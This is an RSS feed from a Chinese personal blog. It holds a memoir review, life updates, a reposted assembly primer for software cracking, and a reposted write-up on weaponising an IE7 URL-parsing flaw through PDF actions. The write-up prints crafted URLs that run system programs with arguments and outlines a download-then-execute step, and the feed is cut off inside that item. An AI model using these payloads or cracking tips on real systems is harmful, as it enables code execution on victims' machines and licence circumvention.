﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-viking'blog</title><link>http://www.blogjava.net/viking/</link><description /><language>zh-cn</language><lastBuildDate>Sun, 12 Apr 2026 06:01:02 GMT</lastBuildDate><pubDate>Sun, 12 Apr 2026 06:01:02 GMT</pubDate><ttl>60</ttl><item><title>沈星《两生花》</title><link>http://www.blogjava.net/viking/archive/2009/05/05/269048.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Tue, 05 May 2009 11:55:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2009/05/05/269048.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/269048.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2009/05/05/269048.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/269048.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/269048.html</trackback:ping><description><![CDATA[&nbsp; 昨天花一天时间把沈星的《两生花》看完了，这是我看的第二本女人写的传记，第一本是子墨写的《墨迹》。碰巧的是，两位都是凤凰卫视的主播。本书虽没有《墨迹》那样精彩，但是作者带我们进入了她内心的世界，让我更了解了沈星，从而更喜欢她。我承认起初喜欢她是因为她的美貌与气质，尤其是她做菜的时候，让我暗自决定一定要娶个这样的老婆。<br />
&nbsp; 本书散文占了大部分，沈星本人说，是先有了这些文章，才有了这本书。当然书中也有很多叙事部分，包括沈星在大学期间喜欢的大师哥，刚刚步入职场的遭遇以及在凤凰卫视与同事们经历的点点滴滴。让我印象最深的，还是沈星在摔断腿以后所表现出来的坚强。让我最羡慕的是她在中华小姐环球大赛时带领佳丽们去瑞士雪山拍摄的情景，当她从雪山峰上跳下的那一瞬间，我真希望自己也能经历一次。<br />
&nbsp; 从书中很多地方，可以感受到沈星对青春的定义，沈星在我们学校演讲时也曾说到---&#8220;青春是用来挥霍的！&#8221;并举了Stephen Hawking（史蒂芬&#183;霍金）的例子。我对她的观点不完全赞同，相信当时在场的很多人也不完全赞同吧！或许她说的是女生，又或许我没能达到她那种境界。在她书中，她多次提到了她父亲对她的宠爱，母亲对她的宠爱，已经她像父亲那样的宠爱自己。她说过：&#8220;女人必须懂得爱自己，除了自己和父母，没有任何人更在乎你&#8221;。她第一次工作时，工资只有2000元，母亲却鼓励她去买一条1500元的裙子，当作自己第一次工作的礼物。并告诉她：&#8220;人生只有一个22岁，这是你最美的时候，现在不穿将来后悔。&#8221;<br />
&nbsp; 当我看到这时，我忽然感觉我很自私，我想起了我的母亲，她一生的青春几乎被我给毁了，女人的青春是多么的不易啊！我感到深深的内疚，想起去年寒假回家时，母亲曾提出家里夏天太热，想换房子的建议。当时被我一口否决了，我的理由是，我以后会在大城市发展，我会在大城市买房，到时候会吧你们都接过去，不要浪费这钱，把钱留着给我读书。我当时觉得自己目光很长远。但今天，我却发现我是多么的自私，自己在北京住的房子，24小时热水，中央空调。多么好的环境啊，而母亲呢？母亲已经尽了她应有的义务了，我已经成年了，她本以没有赡养我的义务了，钱是她赚的，我却让自己拿来享受，让她受苦？以后没钱读书那是我的事，与我母亲无关，自己要有本事，自己赚钱也得把学费給交了。想到这，我立刻給母亲发了条短信：&#8220;妈，夏天天气热，想换房子你就换吧。我支持你，不用为我担心，我能照顾好自己，我已经长大了。&#8221;对，是这样的。必须是这样的，年复一年的过去，母亲的青春以不在，在不让她享受，怕以后机会已不在。我现在觉得，她想干嘛就开心的去做，不要浪费了青春，青春对女人来说很值钱，可惜我现在才懂得这个道理。我感到深深的自责。<br />
&nbsp; 也许这是本书给我最大的收获吧，看过她的人生经历，我明白了我的人生是不完美的，我要尽力去弥补它，我要弥补母亲青春留下的遗憾。人不能有太多的遗憾，我能让母亲觉得这辈子她活得不值。<br />
&nbsp; 以下是本书中，我喜欢的句子，摘抄下来:<br />
&nbsp; 1.人们往往生活在一个地方，却有会隐隐地觉得自己属于另一个地方。有时候一辈子的时间，都是这样转来转去，好像永远在旅行，一站一站的，停不下来，不晓得目的地在哪里。有时候我们又要走很多的弯路，过很多我们完全没有想象的人生，才会到达想去的地方，找到想见的人。所以我们要习惯离别。<br />
&nbsp; 2.失了分寸的暧昧是调情，恰到好处的暧昧是情调。<br />
&nbsp; 3.自由而寂寞，可以去任何地方，又没有地方可去。<br />
&nbsp; 4.我们以为，给了他们很多的赞美和惊叫，我们就又权利知道和评论更多的事情。<br />
&nbsp; 5.每天醒来，最爱的人在枕边，就是幸运。<br />
&nbsp; 6.没有家的人，会常常地搬迁转徙。没有爱的人，会轻易地爱上陌生人。
<img src ="http://www.blogjava.net/viking/aggbug/269048.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2009-05-05 19:55 <a href="http://www.blogjava.net/viking/archive/2009/05/05/269048.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>很久没更新了，总结下最近的生活</title><link>http://www.blogjava.net/viking/archive/2009/04/30/268447.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Thu, 30 Apr 2009 15:50:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2009/04/30/268447.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/268447.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2009/04/30/268447.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/268447.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/268447.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;转眼不见，都快一年了，之前的文章都是2008年7，8月份发表的，如今以是2009年4月30日，劳动节的前以天晚上。其实一直都想上来说点什么，把自己心中的郁闷，不平衡都说出来！总是以没时间做借口。今天终于狠下心来。。。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;话说将近一年的时间，变化还是挺大的，从思想上几乎要融入名校的大众了。以前总不屑于文凭，觉得只要自己有能力，一张文凭阻挡不了我的发展。经过种种的经历，我明白了，要想过上自己希望的生活，文凭还真不可少，没文凭虽然也可以找到好的工作，但是上升的空间却不大。一辈子程序员不是我想要的生活，或许现在连我自己都不清楚，我想要什么，我只是笼统的明白，我要钱，我要有钱，我不想每天对着电脑为人家打工，这很廉价。也许这也是我世界观的改变吧，从前在家乡的小乡村里，程序员就是我的梦想，当时很喜欢它的另一个名号，工程师。但是我现在却想做一位管理者。我不知道自己适不适合，但我知道这需要改变，很大的改变。想做管理者也许也是众多人的梦想，进外企也是众多大学生的追求，在外企做管理者更是大家心目中的理想职位。想要进外企，大公司，除了有相应的技术，经验，做人能力，还得需要文凭，没错，名校的文凭，大公司都是要面子的，大公司的管理者或职员基本上都是出身名校。所以要进外企，我必须要一张名校的通行证，并且是高学历，对，我当下的认为就是考研究生，必须得到名校研究生的文凭，如今每年研究生都在扩招，而且2008年的金融危机导致大学生就业困难，国家为了缓解就业压力对研究生的扩招就会更大，研究生是未来的趋势，我不知道自己是否要继续考博，这是后话，我当前最主要的目标就是考研究生，名校的研究生，清华，北大，中科院，虽然比起朋友去美国名校读研要差，但是我也许只能有这个水平，我也许这辈子再也没有机会出国留学了，不过没关系，以后我有钱了，我还可以去国外玩，也许混得好，算不定还可以去国外的名校讲学<img src="/CuteSoft_Client/CuteEditor/images/face23.gif" align="absMiddle" border="0"  alt="" />。。。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;经过将近一年的练习，breaking进步也挺大的，托马斯可以做个3圈了，可是就是后2圈腿不直，风车也无限了，包括无手风车，最近想练刷头风车，和baby风车。90，2000进步不算大，也许还有点退步吧，sytle也不行啊！对音乐的理解还是不行啊，舞蹈与音乐总结合不到一块。我好胜心也没以前那么强了，我打算大3就不跳舞了，专心的学习，为考研奋斗！如果能考上研究生我就继续跳！但是我想在大三前拍一段MV，把自己最好的舞姿录下来，以后给我的子女看，我就这点小小的愿望，吼吼，没啥报复。。。当我老了以后，把这段有纪念意义的MV拿出来给我的子女看，看，这就你是的父亲，年轻的时候，多么的疯狂！多么的有活力啊，多么的能吃苦啊！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OK，刚刚跟朋友一聊天，思路断了，郁闷，就不应该把QQ上线，好了，我保证，不久，我会上来更新！嘻嘻！
<img src ="http://www.blogjava.net/viking/aggbug/268447.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2009-04-30 23:50 <a href="http://www.blogjava.net/viking/archive/2009/04/30/268447.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>7月13日记</title><link>http://www.blogjava.net/viking/archive/2008/07/13/214630.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sun, 13 Jul 2008 14:34:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/13/214630.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/214630.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/13/214630.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/214630.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/214630.html</trackback:ping><description><![CDATA[&nbsp;&nbsp; 今天单手蹦100个完成了，今天单手蹦有进步噢，最高记录蹦了5下！希望接下来的三天继续努力，我还给自己订了一个计划，每天100个仰卧起坐，20个倒立俯卧撑！连续10天，也就是1000个！昨天开始做的仰卧起坐，今天是第200个！<br />
&nbsp;&nbsp; 今天晚饭过后，在中教草坪休息，看见有人在拍奥运MV!
<img src ="http://www.blogjava.net/viking/aggbug/214630.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-13 22:34 <a href="http://www.blogjava.net/viking/archive/2008/07/13/214630.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>给新手引路-浓缩汇编基础（转）</title><link>http://www.blogjava.net/viking/archive/2008/07/13/214570.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sun, 13 Jul 2008 04:53:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/13/214570.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/214570.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/13/214570.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/214570.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/214570.html</trackback:ping><description><![CDATA[<p>前言: <br />
&nbsp;&nbsp; 写这篇文章出于个人兴趣,要先声明的是本人能力是非常有限！其中参考了许多文章！由于无法提供更多的信息教程,所以文章题目才叫做"给新手引路 之 浓缩汇编基础"。主要讲的是破解中所要的一些汇编知识,方便新手们理解,我将用比较通俗的语言讲述！希望大家别说我"低级"&nbsp;&nbsp;&nbsp; - -b <br />
&nbsp;&nbsp; 写此文的理由:&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; 1、出于兴趣 <br />
&nbsp;&nbsp;&nbsp;&nbsp; 2、助于自己学习巩固,利于新手 <br />
&nbsp;&nbsp; 注: <br />
&nbsp;&nbsp;&nbsp;&nbsp; 本文并不教如何编写汇编程序,只想引新手们进Crack大门,一些迟迟无法Crack成功的人也就是这个原因了! <br />
&nbsp;&nbsp;&nbsp;&nbsp; 最好是能抛砖引玉了,勾起新手们学习汇编的兴趣! <br />
&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp; 重要一点是:不懂汇编是完全没办法搞Crack的,希望大家带着这点来学习! </p>
<p><br />
----------------------------------------------------------------------------------------------- <br />
1.0 关于汇编语言 <br />
&nbsp;&nbsp; 汇编语言是创造出来代替原始的只能由处理器理解的二进制代码的,也就是在OD中常见的机器码!用机器码来写程序,可以想象其难度吧,所以汇编语言就出现了,汇编代码是直接描述处理器可以执行的代码,也就是在OD中最常见的反汇编代码了!(当然,有点不一样),而汇编语言是和cpu相关的,和机器语言是一一对应的! </p>
<p>2.0 关于cpu <br />
&nbsp;&nbsp; CPU的任务就是执行存放在存储器里的指令序列。为此，除要完成算术逻辑操作外，还需要担负CPU和存储器以及I/O之间的数据传送任务。早期的CPU芯片只包括运算器和控制器两大部分。到了近几年，为了使存储器速度能更好地与运算器的速度相匹配，又在芯片中引入了高速缓冲存储器（知道为什么P4比P4赛扬贵那么多了吧?）。 <br />
&nbsp;&nbsp; 看主要的部件: <br />
&nbsp;&nbsp; 1.算术逻辑部件ALU（arithmetic logic unit）用来进行算术和逻辑运算。这部分与我们的关系不太大，我们没必要管它。&nbsp; <br />
&nbsp;&nbsp; 2.控制逻辑。同样与我们的关系不大。&nbsp; <br />
&nbsp;&nbsp; 3.工作寄存器。意识了吧,寄存器呀!喂,,寄存器呀!~ </p>
<p>3.0 寄存器 <br />
&nbsp;&nbsp; 所要了解的是8个32位的寄存器,分别是eax,ebx,ecx,edx,esp,ebp,edi,esi <br />
&nbsp;&nbsp; eax-edx这四个是通用寄存器,虽然各个都有各自的用途,不过你可以用它们来做任何事!是32位的,自然有低位和高位,我们又可以通过ax,bx,cx,dx来访问其低十六位,但高十六位是无法访问的!比如eax=12345678h,那么低十六位ax=5678h!而十六位的自然也有低位和高位,不过高八位是可以访问的,如ax可以分为ah和al,看字面就知道,ah(high)高八位,al就为低八位了!前面的例子,ax=5678h,那么ah=56h,al=78h!这四个寄存器主要是用来暂放计算结果或什么什么的! <br />
&nbsp;&nbsp; esp-esi这四个主要是寻址时用来存放偏移或指针,所以,也就称为指针寄存器或变址寄存器了~如在OD中看到的[eax],其实eax中存放的是一个内存地址,而实际要访问的是那个内存地址里的内容! <br />
&nbsp;&nbsp; esp(堆栈指针寄存器): <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 很重要的一个概论,堆栈有着先进后出的特点，就好像有一个圆柱形的筒子,该直径刚好是一个乒乓球的直径,所以最先放进去的球当然会最后出来.而esp呢,永远是指着最顶的那个球的,也就是永远都指向栈顶!在od中也很常见了,比如push和pop就是对栈的操作,push把一个数据压入栈中,也就是把一个球放进去,再去调用push时就再放进一个,而esp则指向第二个放进去的那个球了!使用pop呢就从栈中弹出一个数据,前面说了,堆栈有着先进后出的特点,所以用pop呢就从最后放进去的那个球先出了(除非你破坏筒子(破坏堆栈?那是不可能的,程序马上死给你看))!而esp还是指向栈顶! <br />
&nbsp;&nbsp; 取个代码例子: <br />
&nbsp;&nbsp; (1) mov ecx, 100&lt;---------100传入ecx <br />
&nbsp;&nbsp; (2) mov eax, 200&lt;---------200传入eax <br />
&nbsp;&nbsp; (3) push eax &lt;------------ecx先进了 <br />
&nbsp;&nbsp; (4) push ecx&lt;-------------再来是eax <br />
&nbsp;&nbsp; (5) pop ebx&lt;--------------从栈顶取出一个,也是最后进去的那一个,结果存到ebx <br />
&nbsp;&nbsp; (6) pop ecx&lt;--------------从栈顶取出一个,也就是刚刚先进去的那个了,结果存到ecx <br />
最后ebx=200,ecx=100 <br />
&nbsp;&nbsp; 到了win32的平台下,api大家都知道了吧!api的参数都是靠堆栈来传递的,比如说一个FindWindow,在C里我这样调用 <br />
-&gt;::FindWindow(NULL,"a")-&gt;而反汇编之后在系统底层反汇编代码就象这个样子: <br />
&nbsp;&nbsp; push xxxxxxxx-&gt;xxxxxxxx为"a"的内存地址 <br />
&nbsp;&nbsp; push yyyyyyyy-&gt;yyyyyyyy为空中止字符串的指针 <br />
&nbsp;&nbsp; call zzzzzzzz-&gt;调用FindWindow <br />
&nbsp;&nbsp; 而在call里面先使用pop弹出先前压入栈的参数再使用 </p>
<p>&nbsp;&nbsp; ebp(基址指针寄存器): <br />
&nbsp;&nbsp; 它称为基址指针寄存器，它们都可以与堆栈段寄存器SS(堆栈段)联用来确定堆栈中的某一存储单元的地址，ESP用来指示段顶的偏移地址，而EBP可作为堆栈区中的一个基地址以便访问堆栈中的信息。 </p>
<p>&nbsp;&nbsp; ESI（源变址寄存器）和EDI（目的变址寄存器）一般与数据段寄存器DS联用，用来确定数据段中某一存储单元的地址。这两个变址寄存器有自动增量和自动减量的功能，可以很方便地用于变址。 </p>
<p>&nbsp;&nbsp; 还有两个专用寄存器,分别是eip和flags <br />
&nbsp;&nbsp; flags: <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个是标志寄存器了,存放条件标志码、控制标志和系统标志的寄存器!在od中也见很多了,比如zf(零标志),用cmp比较时,把两个操作数相减,为0就置zf为1,否则zf为0。而jnz就是看zf是否为0,为0就跳!这样说起来似乎更乱了,建议大家去记那些大于就跳,小于就跳的,比较简单(jnz就是不相等就跳)``哦呵呵!!至于其它标志,这里不再阐述了,可以去参看汇编速查! <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp eax,ebx&lt;-比较eax和ebx,两个相减,为0的话zf就为一,否则zf为0 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz xxxxxxx&lt;-判断zf是否为0,为0就跳到xxxxxxx处,也就是所谓的不相等就跳 </p>
<p>&nbsp;&nbsp; eip(指令指针寄存器): <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个很好理解,根据od来说,载入一个程序后,比如代码像这样: <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0043C412 &gt;/$Content$nbsp;&nbsp; 55&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp; ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;-载入后停在这,看寄存器窗口eip这时为43c412 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0043C413&nbsp;&nbsp; |.&nbsp;&nbsp; 8BEC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ebp, esp&nbsp;&nbsp;&nbsp;&nbsp; &lt;-f8运行一步之后,eip为43c413 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0043C415&nbsp;&nbsp; |.&nbsp;&nbsp; 6A FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp; -1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;-eip为43c415 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0043C417&nbsp;&nbsp; |.&nbsp;&nbsp; 68 C8B64800&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp; 0048B6C8&nbsp;&nbsp;&nbsp;&nbsp; &lt;-eip为43c417 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有人会说"原来eip是指示当前执行到代码处的地址的!"&nbsp;&nbsp; ,这不对!!因为f8运行还没通过那条代码,所以还不算已经执行了,没错,eip指向的就是下一条将要执行的指令的指针! </p>
<p><br />
段寄存器:<br />
&nbsp;&nbsp;&nbsp;&nbsp; cs代码段,ds数据段,ss堆栈段,es附加段<br />
&nbsp;&nbsp;&nbsp;&nbsp; 在Win32编程中段的概念已经不重要了!而在Crack时你总不会是在调是dos时代的程序吧!-!</p>
<p>4.0 常用汇编指令<br />
&nbsp;&nbsp; mov ax,cx&nbsp;&nbsp; &lt;-很常用了,把cx的值送入ax中,cx值保持不变<br />
&nbsp;&nbsp; cmp eax,ecx&lt;-很常见了吧,比较eax和ecx,置标志位!方法前面说过了<br />
&nbsp;&nbsp; xor eax,eax&lt;-看这个,eax与自己异或,是清零的操作!<br />
&nbsp;&nbsp; lea eax,str&lt;-并不传送数据,只传送该数据的地址,将str字符串的地址传到eax<br />
&nbsp;&nbsp; push eax&nbsp;&nbsp;&nbsp; &lt;-进栈操作,前面说过了,eax进栈<br />
&nbsp;&nbsp; pop&nbsp;&nbsp; ebx&nbsp;&nbsp;&nbsp; &lt;-出栈操作,前面也说了,弹出位于栈顶的数据存入ebx<br />
&nbsp;&nbsp; ADD 加法指令 格式:ADD DST，SRC 执行的操作：(DST)&lt;-(SRC)+(DST) <br />
&nbsp;&nbsp; SUB 减法指令 格式:SUB DST，SRC 执行的操作：(DST)&lt;-(DST)-(SRC) <br />
&nbsp;&nbsp; MUL 无符号乘法指令 格式: MUL SRC&nbsp;&nbsp; 执行的操作：字节操作(AX)&lt;-(AL)*(SRC)；字操作(DX,AX)&lt;-(AX)*(SRC)；双字操作：(EDX,EAX)&lt;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (EAX)*(SRC) <br />
&nbsp;&nbsp; DIV 无符号除法指令 格式:DIV SRC&nbsp;&nbsp; 执行的操作:字节操作：16们被除数在AX中，8位除数为源操作数，结果的8位商在AL中，8位余数在AH中&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 。表示为： <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (AL)&lt;-(AX)/(SRC)的商，(AH)&lt;-(AX)/(SRC)的余数。字操作:32位被除数在DX,AX中。其中DX为高位字，16位除数为源操作数，结果的16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 位商&nbsp;&nbsp; 在AX中，16位余数在DX中。表示为：(AX)&lt;-(DX,AX)/(SRC)的商，(DX)&lt;-(DX,AX)/(SRC)的余数。<br />
&nbsp;&nbsp; nop&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;-&nbsp;&nbsp; 无操作,去掉指令用的吧!去掉一个跳转,让程序直接往下走,就到注册成功处啦(扯远了````)<br />
&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;- 调用子程序或函数用的</p>
<p>&nbsp;&nbsp; 关于跳转指令，可以查看汇编速查手册,别强迫自己把所有的都一下记住,浪费精力,不懂时再查一下，久了就记住了!<br />
&nbsp;&nbsp; <br />
5.0 高级语言程序的汇编浅解析<br />
&nbsp;&nbsp; 汇编语言要和硬件直接打交道,写病毒是方便点啦!!而在高级语言中,如C中我们要面向的是问题的解决,对于硬件资源操作,编译器搞定了!在这里稍微讲一下高级语言中与反汇编代码相应的一些地方:<br />
&nbsp;&nbsp; 1、定义变量<br />
&nbsp;&nbsp;&nbsp;&nbsp; int a;<br />
&nbsp;&nbsp;&nbsp;&nbsp; 一个变量其实是存放在一个内存地址里,如果对a进行赋值"a=10",在反汇编中就有可能表现为:<br />
&nbsp;&nbsp;&nbsp;&nbsp; mov word ptr[007e58c2],A<br />
&nbsp;&nbsp;&nbsp;&nbsp; 像这个样子,而a所对应的内存地址就是0x007e58c2了,当然是乱写的一个地址而已,系统怎样分配?(天知道...)</p>
<p>2、比如一个数组<br />
&nbsp;&nbsp;&nbsp;&nbsp; char str[]="hello";<br />
&nbsp;&nbsp;&nbsp;&nbsp; 占用了6个字节,最后一个是以0结尾的空字节,数组名可以当做数组的指针!str[0]='h',str[0]相应一个变量地址,比如为[0040e123],那么[0040e124]就为'e',[0040e125]就为'l'....了`</p>
<p>3、指针<br />
&nbsp;&nbsp;&nbsp; char *p;<br />
&nbsp;&nbsp;&nbsp; 指针也是一个变量,所以它也对应一个内存地址!但访问时应该是访问其指向的内存地址的内容,而不是这个指针变量的内容,其内容只是一个地址而已!假如该指针变量地址为007e1000,那么语句p=a,这句在高级语言里是让指针p指向a这个内存单元!p里的内容是a的地址,*p实际上是a的内容了!而反汇编有可能表现成这样:<br />
&nbsp;&nbsp; mov [007e1000],007e2000&lt;-假如007e2000为变量a的地址,那么就是把a的地址传到007e1000这个内容里了!</p>
<p>4、函数调用<br />
&nbsp;&nbsp; sub(a,b);<br />
&nbsp;&nbsp; 假如sub是自定义的一个减法函数,作用为参数一减去参数二,上面语句为在C中调中时传递参数!前面有说过了,Win32平台下函数调用的参数是通过堆栈来传递的,那么反汇编就是:<br />
&nbsp;&nbsp; (假如a=2,b=1)<br />
&nbsp;&nbsp; mov eax,2<br />
&nbsp;&nbsp; mov ebx,1<br />
&nbsp;&nbsp; push eax<br />
&nbsp;&nbsp; push ebx<br />
&nbsp;&nbsp; call 取地址(sub)<br />
&nbsp;&nbsp; .......<br />
-----------------------------------------------------------------------------------------------</p>
<p>&nbsp;&nbsp; 好了,最后感谢大家能看完这篇了了草草的东西,我也回顾了不少知识!在本人能力范围内的事不知道对新手们有没有帮助,还有一点要提醒各位新手,如果真想学好Crack学通Crack这门知识的话,不完全了解汇编是不行的！所以在看了我这篇之后如果能激起你学汇编的信心是最好的！要不等到Crack遇到什么问题时才再想回过头学汇编，那很难!~</p>
<p>本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处：http://www.520hack.com/Article/Text2/200807/10672.html</p>
<img src ="http://www.blogjava.net/viking/aggbug/214570.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-13 12:53 <a href="http://www.blogjava.net/viking/archive/2008/07/13/214570.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于URL解析漏洞在PDF文档中的利用(转)</title><link>http://www.blogjava.net/viking/archive/2008/07/13/214569.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sun, 13 Jul 2008 04:51:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/13/214569.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/214569.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/13/214569.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/214569.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/214569.html</trackback:ping><description><![CDATA[<div class="ContentFont" id="NewaspContentLabel" style="padding-right: 10px; display: block; padding-left: 10px; padding-bottom: 0px; padding-top: 0px"><font id="font_word" style="font-size: 14px; font-family: 宋体, Verdana, Arial, Helvetica, sans-serif">
<p>右键另存再打开测试文档，否则会调用IE的插件打开，测试会失败。如果你硬要通过点击打开的话，点击这里吧,嘿嘿，这本身也是IE的一个解析漏洞。</p>
<p>在<a href="http://seclists.org/fulldisclosure/2007/Oct/0068.html">http://seclists.org/fulldisclosure/2007/Oct/0068.html</a>看到这个漏洞的时候，一时还没有想到怎么利用。后来结合去年有一个关于pdf actions安全隐患的这么一个问题（参看<a href="http://michaeldaw.org/md-hacks/backdooring-pdf-files/">http://michaeldaw.org/md-hacks/backdooring-pdf-files/</a>），pdf中的actions中打开页面的事件刚好可以用来利用。</p>
<p>Petko Petkov之前放出话说pdf的0day应该也就是指的是这个漏洞了。利用这个漏洞首先需要安装IE7，在URL解析时遇到百分号（%）会执行后面的程序。放出来的利用方式为：</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            mailttest%../../../../<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>/system32/calc.exe".cmd
            http:%xx../../../../../../../../../../../<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>/system32/calc.exe".
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>利用这种URL咱们可以执行系统中的任意命令了，但是有一点用处的系统命令都得加参数才能用啊。怎么加入参数呢？反正放在.cmd前就行，但是必须放在引号（"）后面，呵呵，其实没的选。经过测试，下面的语句就ok了：<br />
</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            mailttest%../../../../<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>/system32/net.exe" &#8220;user&#8221;.cmd
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>要有多个参数的话就的</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            mailttest%../../../../<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>/system32/xxx.exe" &#8220;argv1&#8221; &#8221;argv2&#8220;.cmd
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>到这里，基本上大家也就有了利用办法了，网络COPY命令，TFTP等都行啊。不过得分两步：</p>
<p>1.下载程序<br />
2.执行程序</p>
<p>还有一点要注意的，最好在打开页面事件和关闭页面时间中加入上面两步，以免因为网速问题造成程序执行不成功。</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
